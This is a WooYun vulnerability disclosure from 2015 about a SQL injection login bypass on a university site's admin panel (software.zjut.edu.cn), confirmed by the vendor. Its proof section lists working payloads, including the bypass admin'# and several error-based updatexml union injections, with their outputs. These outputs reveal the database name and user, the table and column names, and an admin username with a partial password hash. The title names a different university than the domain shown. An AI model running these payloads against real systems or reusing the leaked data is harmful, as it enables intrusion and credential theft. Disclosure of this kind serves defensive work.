当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117931

漏洞标题:浙江大学计算机学院后台可以不用密码绕过

相关厂商:zjut.edu.cn

漏洞作者: 源稚竹

提交时间:2015-06-03 12:34

修复时间:2015-07-18 15:52

公开时间:2015-07-18 15:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-03: 细节已通知厂商并且等待厂商处理中
2015-06-03: 厂商已经确认,细节仅向厂商公开
2015-06-13: 细节向核心白帽子及相关领域专家公开
2015-06-23: 细节向普通白帽子公开
2015-07-03: 细节向实习白帽子公开
2015-07-18: 细节向公众公开

简要描述:

浙江大学计算机学院后台可以不用密码绕过
网址是
http://www.software.zjut.edu.cn/admin/
我发现我这边传不了图片,那么就口述一下好了。。。

详细说明:

浙江大学计算机学院后台可以不用密码绕过
网址是
http://www.software.zjut.edu.cn/admin/
在帐号那边输入 一个单引号,登录后,就会报错。。。
然后报错的信息:
MySQL Query Error
SELECT * FROM ins_admin WHERE status='1' and uname=''' and passwd='d41d8cd98f00b204e9800998ecf8427e'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'd41d8cd98f00b204e9800998ecf8427e'' at line 1
报错也就算了,还自己跳出完整的sql语句,估计是网站制作者在做的时候发烧了。。。

漏洞证明:

看到sql语句了嘛!
猜测一下管理员帐号是admin
然后自己构造一个sql语句:
比如在帐号那边输入 admin'#
即可绕过。
并且,因为显错的话,还可以通过。
然后下面再附几个测试过的payload:

执行:
SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,3 from mysql.user#\' and passwd='d41d8cd98f00b204e9800998ecf8427e'
结果:
SELECT command denied to user 'zhegongda'@'localhost' for table 'user'
执行:
SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,database(),0x7f,user(),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e'
结果:
XPATH syntax error: 'zhegongdazhegongda@localhost'
执行:
SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select count(*) from information_schema.tables where table_schema='zhegongda'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e'
结果:
XPATH syntax error: '13'
说明有13张表
执行:
SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select password from mysql.user where user='zhegongda'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e'
结果:
SELECT command denied to user 'zhegongda'@'localhost' for table 'user'
执行:
SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select group_concat(table_name) from information_schema.tables where table_schema='zhegongda'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e'
结果:
XPATH syntax error: 'ins_admin,ins_admin_action,ins_'
说明总共有13张表,但只能读取到3张(原因是显示的长度问题)
执行:
SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select group_concat(column_name) from information_schema.columns where table_name='ins_admin'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e'
结果:
XPATH syntax error: 'id,uname,passwd,rolerid,datetim'
执行:
SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select count(column_name) from information_schema.columns where table_name='ins_admin'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e'
结果:
XPATH syntax error: '15'
执行:
SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select concat_ws('|',id,uname,passwd,rolerid,datetime) from zhegongda.ins_admin limit 0,1),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e'
结果:
XPATH syntax error: '24|zmz|a40b32f4e3027ebc1b317fc1'


修复方案:

你懂的。。。

版权声明:转载请注明来源 源稚竹@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-06-03 15:50

厂商回复:

我们会尽快处理该漏洞

最新状态:

暂无